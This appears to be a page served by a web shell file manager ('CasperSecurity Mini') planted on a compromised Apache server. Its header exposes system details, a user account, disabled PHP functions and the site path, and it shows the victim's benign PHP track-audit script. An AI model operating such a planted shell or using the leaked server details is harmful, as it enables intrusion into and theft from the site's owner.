404 Not Found

T.ME/BIBIL_0DAY
Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory : /home/gositeme/domains/soundstudiopro.com/public_html/
Upload File :
Current File : /home/gositeme/domains/soundstudiopro.com/public_html/audit_tracks.php
<?php
/**
 * Comprehensive Track Audit Script
 * Checks for missing images, lyrics, and other data issues
 */

require_once 'config/database.php';

$pdo = getDBConnection();
if (!$pdo) {
    die("❌ Database connection failed\n");
}

echo "<!DOCTYPE html>
<html>
<head>
    <title>Track Audit</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; background: #f5f5f5; }
        .container { max-width: 1400px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; }
        h1 { color: #333; }
        h2 { color: #555; border-bottom: 2px solid #ddd; padding-bottom: 10px; }
        .track-item { padding: 15px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; }
        .success { color: green; font-weight: bold; }
        .error { color: red; font-weight: bold; }
        .warning { color: orange; font-weight: bold; }
        .info { color: #666; }
        .stats { background: #e8f4f8; padding: 15px; border-radius: 5px; margin: 20px 0; }
        .stats h2 { margin-top: 0; border: none; }
        .badge { display: inline-block; padding: 3px 8px; border-radius: 3px; font-size: 0.85em; margin: 0 5px; }
        .badge-success { background: #d4edda; color: #155724; }
        .badge-error { background: #f8d7da; color: #721c24; }
        .badge-warning { background: #fff3cd; color: #856404; }
        table { width: 100%; border-collapse: collapse; margin: 20px 0; }
        th, td { padding: 10px; text-align: left; border: 1px solid #ddd; }
        th { background: #f8f9fa; font-weight: bold; }
        .external-url { color: red; }
        .local-url { color: green; }
    </style>
</head>
<body>
<div class='container'>
    <h1>🔍 Comprehensive Track Audit</h1>
    <p>Checking all tracks for missing images, lyrics, and other data issues.</p>
";

// Get all complete tracks
$stmt = $pdo->prepare("
    SELECT 
        id, 
        task_id, 
        title, 
        image_url, 
        lyrics,
        audio_url,
        metadata,
        status,
        created_at,
        user_id
    FROM music_tracks 
    WHERE status = 'complete'
    ORDER BY created_at DESC
");
$stmt->execute();
$tracks = $stmt->fetchAll(PDO::FETCH_ASSOC);

$stats = [
    'total' => count($tracks),
    'has_local_image' => 0,
    'has_external_image' => 0,
    'missing_image' => 0,
    'has_lyrics' => 0,
    'missing_lyrics' => 0,
    'has_local_audio' => 0,
    'has_external_audio' => 0,
    'missing_audio' => 0,
    'tracks_with_metadata_images' => 0,
    'tracks_needing_backfill' => 0
];

$issues = [];
$tracksNeedingBackfill = [];

foreach ($tracks as $track) {
    $trackId = $track['id'];
    $taskId = $track['task_id'];
    $title = htmlspecialchars($track['title'] ?: 'Untitled Track');
    $imageUrl = $track['image_url'];
    $lyrics = $track['lyrics'];
    $audioUrl = $track['audio_url'];
    $metadata = $track['metadata'];
    $createdAt = $track['created_at'];
    
    $trackIssues = [];
    $hasImageInMetadata = false;
    $imageUrlInMetadata = null;
    
    // Check image status
    if (empty($imageUrl) || $imageUrl === 'null' || $imageUrl === 'NULL') {
        $stats['missing_image']++;
        $trackIssues[] = 'missing_image';
        
        // Check metadata for image URL
        if (!empty($metadata)) {
            $metadataArray = json_decode($metadata, true);
            if (is_array($metadataArray)) {
                // Check multiple possible locations in metadata
                $possiblePaths = [
                    ['image_url'],
                    ['cover_url'],
                    ['raw_callback', 'image_url'],
                    ['raw_callback', 'cover_url'],
                    ['raw_callback', 'data', 'image_url'],
                    ['raw_callback', 'data', 'cover_url'],
                    ['raw_callback', 'data', 'data', 0, 'image_url'],
                    ['raw_callback', 'data', 'data', 0, 'cover_url'],
                ];
                
                foreach ($possiblePaths as $path) {
                    $value = $metadataArray;
                    foreach ($path as $key) {
                        if (isset($value[$key])) {
                            $value = $value[$key];
                        } else {
                            $value = null;
                            break;
                        }
                    }
                    if ($value && !empty($value) && (strpos($value, 'http://') === 0 || strpos($value, 'https://') === 0)) {
                        $imageUrlInMetadata = $value;
                        $hasImageInMetadata = true;
                        $stats['tracks_with_metadata_images']++;
                        break;
                    }
                }
            }
        }
        
        // Also check task_results JSON file for image URLs
        if (!$hasImageInMetadata) {
            $taskResultFile = "task_results/{$taskId}.json";
            if (file_exists($taskResultFile)) {
                $taskResultContent = @file_get_contents($taskResultFile);
                if ($taskResultContent) {
                    $taskResultData = @json_decode($taskResultContent, true);
                    if (is_array($taskResultData)) {
                        // Use the same extraction logic as callback.php
                        $possiblePaths = [
                            ['image_url'],
                            ['cover_url'],
                            ['data', 'image_url'],
                            ['data', 'cover_url'],
                            ['data', 'data', 0, 'image_url'],
                            ['data', 'data', 0, 'cover_url'],
                        ];
                        
                        foreach ($possiblePaths as $path) {
                            $value = $taskResultData;
                            foreach ($path as $key) {
                                if (isset($value[$key])) {
                                    $value = $value[$key];
                                } else {
                                    $value = null;
                                    break;
                                }
                            }
                            if ($value && !empty($value) && (strpos($value, 'http://') === 0 || strpos($value, 'https://') === 0)) {
                                $imageUrlInMetadata = $value;
                                $hasImageInMetadata = true;
                                $stats['tracks_with_metadata_images']++;
                                break;
                            }
                        }
                    }
                }
            }
        }
        
        if ($hasImageInMetadata) {
            $stats['tracks_needing_backfill']++;
            $tracksNeedingBackfill[] = [
                'id' => $trackId,
                'task_id' => $taskId,
                'title' => $title,
                'image_url' => $imageUrlInMetadata
            ];
        } else {
            // Even if no image URL found, add to backfill list if track is missing image
            // The backfill script will try to find it in task_results
            $stats['tracks_needing_backfill']++;
            $tracksNeedingBackfill[] = [
                'id' => $trackId,
                'task_id' => $taskId,
                'title' => $title,
                'image_url' => null // Will be searched in task_results
            ];
        }
    } else {
        // Check if it's external or local
        if (strpos($imageUrl, 'http://') === 0 || strpos($imageUrl, 'https://') === 0) {
            $stats['has_external_image']++;
            $trackIssues[] = 'external_image';
            $stats['tracks_needing_backfill']++;
            $tracksNeedingBackfill[] = [
                'id' => $trackId,
                'task_id' => $taskId,
                'title' => $title,
                'image_url' => $imageUrl
            ];
        } else {
            // Check if local file exists
            $localPath = ltrim($imageUrl, '/');
            if (file_exists($localPath)) {
                $stats['has_local_image']++;
            } else {
                $stats['missing_image']++;
                $trackIssues[] = 'missing_image_file';
            }
        }
    }
    
    // Check lyrics status
    if (empty($lyrics) || $lyrics === 'null' || $lyrics === 'NULL') {
        $stats['missing_lyrics']++;
        $trackIssues[] = 'missing_lyrics';
    } else {
        $stats['has_lyrics']++;
    }
    
    // Check audio status
    if (empty($audioUrl) || $audioUrl === 'null' || $audioUrl === 'NULL') {
        $stats['missing_audio']++;
        $trackIssues[] = 'missing_audio';
    } else {
        if (strpos($audioUrl, 'http://') === 0 || strpos($audioUrl, 'https://') === 0) {
            $stats['has_external_audio']++;
            $trackIssues[] = 'external_audio';
        } else {
            $stats['has_local_audio']++;
        }
    }
    
    if (!empty($trackIssues)) {
        $issues[] = [
            'track_id' => $trackId,
            'task_id' => $taskId,
            'title' => $title,
            'created_at' => $createdAt,
            'issues' => $trackIssues,
            'image_url' => $imageUrl,
            'has_image_in_metadata' => $hasImageInMetadata,
            'image_url_in_metadata' => $imageUrlInMetadata,
            'has_lyrics' => !empty($lyrics),
            'has_audio' => !empty($audioUrl)
        ];
    }
}

// Display statistics
echo "<div class='stats'>
    <h2>📊 Overall Statistics</h2>
    <table>
        <tr>
            <th>Metric</th>
            <th>Count</th>
            <th>Percentage</th>
        </tr>
        <tr>
            <td>Total Tracks</td>
            <td><strong>{$stats['total']}</strong></td>
            <td>100%</td>
        </tr>
        <tr>
            <td class='success'>✅ Has Local Image</td>
            <td><strong>{$stats['has_local_image']}</strong></td>
            <td>" . round(($stats['has_local_image'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='error'>❌ Missing Image</td>
            <td><strong>{$stats['missing_image']}</strong></td>
            <td>" . round(($stats['missing_image'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='warning'>⚠️ External Image URL</td>
            <td><strong>{$stats['has_external_image']}</strong></td>
            <td>" . round(($stats['has_external_image'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='info'>📋 Image URL in Metadata</td>
            <td><strong>{$stats['tracks_with_metadata_images']}</strong></td>
            <td>" . round(($stats['tracks_with_metadata_images'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='warning'>🔄 Tracks Needing Backfill</td>
            <td><strong>{$stats['tracks_needing_backfill']}</strong></td>
            <td>" . round(($stats['tracks_needing_backfill'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='success'>✅ Has Lyrics</td>
            <td><strong>{$stats['has_lyrics']}</strong></td>
            <td>" . round(($stats['has_lyrics'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='error'>❌ Missing Lyrics</td>
            <td><strong>{$stats['missing_lyrics']}</strong></td>
            <td>" . round(($stats['missing_lyrics'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='success'>✅ Has Local Audio</td>
            <td><strong>{$stats['has_local_audio']}</strong></td>
            <td>" . round(($stats['has_local_audio'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
        <tr>
            <td class='warning'>⚠️ External Audio URL</td>
            <td><strong>{$stats['has_external_audio']}</strong></td>
            <td>" . round(($stats['has_external_audio'] / $stats['total']) * 100, 1) . "%</td>
        </tr>
    </table>
</div>";

// Always show backfill options, even if no tracks found (user can manually run them)
echo "<div class='stats'>
    <h2>🔄 Backfill Tools</h2>
    
    <h3>🖼️ Image Backfill</h3>
    <p><strong>Tracks needing image backfill: {$stats['tracks_needing_backfill']}</strong></p>
    <p>
        <a href='backfill_track_images.php' style='background: #007bff; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block; margin-right: 10px;'>🔄 Run Image Backfill</a>
        <a href='backfill_track_images.php?force_all=1' style='background: #28a745; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block;'>🔄 Force Backfill All Images</a>
    </p>
    <p class='info'><small>The image backfill script will check task_results JSON files for image URLs and download them locally.</small></p>
    
    <h3>📝 Lyrics Backfill</h3>
    <p><strong>Tracks missing lyrics: {$stats['missing_lyrics']}</strong></p>
    <p>
        <a href='backfill_track_lyrics.php' style='background: #17a2b8; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block; margin-right: 10px;'>📝 Run Lyrics Backfill</a>
        <a href='backfill_track_lyrics.php?force_all=1' style='background: #28a745; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block;'>📝 Force Backfill All Lyrics</a>
    </p>
    <p class='info'><small>The lyrics backfill script will extract lyrics from task_results JSON files and save them to the database.</small></p>
    
    <h3>🔍 Diagnostics</h3>
    <p>
        <a href='diagnose_missing_lyrics.php' style='background: #6f42c1; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px; display: inline-block;'>🔍 Diagnose Missing Lyrics</a>
    </p>
    <p class='info'><small>The diagnostic script analyzes task_results JSON files to understand why lyrics are missing (instrumental tracks, wrong callback type, etc.)</small></p>
</div>";

// Display tracks needing backfill
if (!empty($tracksNeedingBackfill)) {
    echo "<div class='stats'>
        <h2>📋 Tracks Needing Image Backfill ({$stats['tracks_needing_backfill']})</h2>
        <table>
            <tr>
                <th>Track ID</th>
                <th>Task ID</th>
                <th>Title</th>
                <th>Image URL (to download)</th>
            </tr>";
    
    foreach (array_slice($tracksNeedingBackfill, 0, 50) as $track) {
        $urlClass = (strpos($track['image_url'], 'http://') === 0 || strpos($track['image_url'], 'https://') === 0) ? 'external-url' : 'local-url';
        echo "<tr>
            <td>{$track['id']}</td>
            <td>{$track['task_id']}</td>
            <td>" . htmlspecialchars($track['title']) . "</td>
            <td class='{$urlClass}'>" . htmlspecialchars(substr($track['image_url'], 0, 80)) . "...</td>
        </tr>";
    }
    
    if (count($tracksNeedingBackfill) > 50) {
        echo "<tr><td colspan='4' style='text-align: center;'><em>... and " . (count($tracksNeedingBackfill) - 50) . " more tracks</em></td></tr>";
    }
    
    echo "</table></div>";
}

// Display tracks with issues
if (!empty($issues)) {
    echo "<div class='stats'>
        <h2>⚠️ Tracks with Issues (" . count($issues) . ")</h2>
        <table>
            <tr>
                <th>Track ID</th>
                <th>Task ID</th>
                <th>Title</th>
                <th>Created</th>
                <th>Issues</th>
                <th>Image Status</th>
                <th>Lyrics</th>
                <th>Audio</th>
            </tr>";
    
    foreach (array_slice($issues, 0, 100) as $issue) {
        $badges = [];
        foreach ($issue['issues'] as $issueType) {
            switch ($issueType) {
                case 'missing_image':
                    $badges[] = "<span class='badge badge-error'>Missing Image</span>";
                    break;
                case 'external_image':
                    $badges[] = "<span class='badge badge-warning'>External Image</span>";
                    break;
                case 'missing_image_file':
                    $badges[] = "<span class='badge badge-error'>Image File Missing</span>";
                    break;
                case 'missing_lyrics':
                    $badges[] = "<span class='badge badge-error'>Missing Lyrics</span>";
                    break;
                case 'external_audio':
                    $badges[] = "<span class='badge badge-warning'>External Audio</span>";
                    break;
                case 'missing_audio':
                    $badges[] = "<span class='badge badge-error'>Missing Audio</span>";
                    break;
            }
        }
        
        $imageStatus = 'None';
        if ($issue['has_image_in_metadata']) {
            $imageStatus = "<span class='warning'>In Metadata</span>";
        } elseif (!empty($issue['image_url'])) {
            if (strpos($issue['image_url'], 'http://') === 0 || strpos($issue['image_url'], 'https://') === 0) {
                $imageStatus = "<span class='external-url'>External</span>";
            } else {
                $imageStatus = "<span class='local-url'>Local</span>";
            }
        }
        
        echo "<tr>
            <td>{$issue['track_id']}</td>
            <td>{$issue['task_id']}</td>
            <td>" . htmlspecialchars($issue['title']) . "</td>
            <td>{$issue['created_at']}</td>
            <td>" . implode(' ', $badges) . "</td>
            <td>{$imageStatus}</td>
            <td>" . ($issue['has_lyrics'] ? "<span class='success'>✅</span>" : "<span class='error'>❌</span>") . "</td>
            <td>" . ($issue['has_audio'] ? "<span class='success'>✅</span>" : "<span class='error'>❌</span>") . "</td>
        </tr>";
    }
    
    if (count($issues) > 100) {
        echo "<tr><td colspan='8' style='text-align: center;'><em>... and " . (count($issues) - 100) . " more tracks with issues</em></td></tr>";
    }
    
    echo "</table></div>";
}

// Check task_results directory for potential image sources
$taskResultsDir = 'task_results/';
$taskResultsWithImages = [];
if (is_dir($taskResultsDir)) {
    $files = glob($taskResultsDir . '*.json');
    $checked = 0;
    foreach ($files as $file) {
        if ($checked++ > 100) break; // Limit check to first 100 files
        
        $content = @file_get_contents($file);
        if ($content) {
            $data = @json_decode($content, true);
            if ($data && isset($data['image_url'])) {
                $taskId = basename($file, '.json');
                $taskResultsWithImages[] = [
                    'task_id' => $taskId,
                    'image_url' => $data['image_url']
                ];
            }
        }
    }
}

if (!empty($taskResultsWithImages)) {
    echo "<div class='stats'>
        <h2>📁 Task Results Files with Image URLs (" . count($taskResultsWithImages) . " found)</h2>
        <p class='info'>These task result JSON files contain image URLs that could be used for backfilling.</p>
        <table>
            <tr>
                <th>Task ID</th>
                <th>Image URL</th>
            </tr>";
    
    foreach (array_slice($taskResultsWithImages, 0, 20) as $result) {
        echo "<tr>
            <td>{$result['task_id']}</td>
            <td class='external-url'>" . htmlspecialchars(substr($result['image_url'], 0, 100)) . "...</td>
        </tr>";
    }
    
    if (count($taskResultsWithImages) > 20) {
        echo "<tr><td colspan='2' style='text-align: center;'><em>... and " . (count($taskResultsWithImages) - 20) . " more</em></td></tr>";
    }
    
    echo "</table></div>";
}

echo "</div></body></html>";
?>
CasperSecurity Mini